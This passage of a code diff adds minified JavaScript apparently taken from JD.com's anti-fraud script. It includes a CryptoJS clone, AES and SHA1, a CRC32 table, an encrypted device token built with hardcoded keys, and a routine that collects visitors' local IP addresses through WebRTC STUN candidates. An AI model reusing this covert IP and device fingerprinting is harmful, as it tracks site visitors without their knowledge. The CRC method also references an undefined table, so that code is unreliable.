c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new 